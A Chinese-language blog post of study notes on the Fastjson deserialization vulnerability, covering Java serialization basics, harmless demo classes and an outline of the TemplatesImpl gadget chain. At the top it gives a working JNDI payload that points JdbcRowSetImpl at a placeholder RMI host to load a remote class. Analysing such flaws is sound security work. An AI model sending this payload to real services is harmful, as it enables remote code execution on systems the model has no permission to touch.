Fastjson 反序列化漏洞学习

更新:更简洁的 payload,更多的可以参考 marshalsec 文档

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Object","autoCommit":true}

其实这个 Gadget 是借助 Setter 来做的触发,因为 Fastjson 在还原对象的时候用的 Setter 来给对象中的成员变量赋值。从 SetautoCommit 方法开始最终会进入一个 lookup 方法,参数就是 dataSourceName,所以这里也用到了 JNDI 注入,再结合 RMI 服务上绑定的是一个引用,最终会根据 url 去远程加载相应的类。这个 Gadget 的原理大概就是这样了,不过 JNDI 注入在 Java 7u131/8u121 之后默认情况下 trustURLCodeBase 设为 False,是没法进行远程的类加载的了。

这个洞出来有一段时间了,当时也跟着去分析了的,感觉接触和使用Java还是太少了。分析这个的过程中还是学到不少Java还有使用IDEA做调试的姿势,简单的记录下…

Java中的序列化和反序列化

  • 一个类要实现java.io.Serializable接口才可以被序列化,要想其父类也被序列化,那父类同样要实现该接口
  • 通过ObjectOutputStream和ObjectInputStream对对象进行序列化及反序列化
  • 序列化不会管类中的静态变量
  • 用Transient关键子可以阻止变量被序列化,在反序列化后该变量会被设为初始值,如int型为0,对象型为null

Fastjson

  • JSON.parseObject() 可以将JSON格式的字符串转化成对象
  • JSON.toJSONString() 反之,将对象转化成JSON格式的字符串

public域的变量才会被这两个函数处理,或者是有public作用域的Setter和Getter。Setter影响parseObject(),Getter影响toJSONString()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.io.Serializable;
/**
* Created by k1n9 on 2017/5/14.
*/
public class Person implements Serializable{
private int Id;
private String Username;
public int getId() {
return Id;
}
public void setId(int id) {
Id = id;
}
public String getUsername() {
return Username;
}
public void setUsername(String username) {
Username = username;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
/**
* Created by k1n9 on 2017/5/14.
*/
public class Test {
public static void main(String args[]){
Person p = new Person();
p.setId(2);
p.setUsername("qqtest");
System.out.println(JSON.toJSONString(p, new SerializerFeature[] {SerializerFeature.WriteClassName, SerializerFeature.DisableCircularReferenceDetect
}));
String jsonStr = "{\"@type\":\"Person\",\"id\":2,\"username\":\"qqtest\"}";
System.out.println(JSON.parseObject(jsonStr, Person.class).getUsername());
}
}

输出:
{“@type”:”Person”,”id”:2,”username”:”qqtest”}
qqtest

删掉getId和setUsername的public作用域,输出:
{“@type”:”Person”,”username”:”qqtest”}
null

但是parseObject中可以加个Feature.SupportNonPublicField来使得它支持非public域的。

漏洞利用

看别人的分析时是利用的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,这个类中存在一个执行链:
getOutputProperties() -> newTransformer() -> getTransletInstance()
最终_bytecodes中的字节码会被实例化,它的值可以来自一个构造函数中有Runtime来执行命令的类编译后的字节码。这样就可以达到命令执行的效果了。
下个断点来看完整的调用过程:

其中还是有不少细节的,poc这些不打算写了,可以参考下面两个大佬的博文:
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up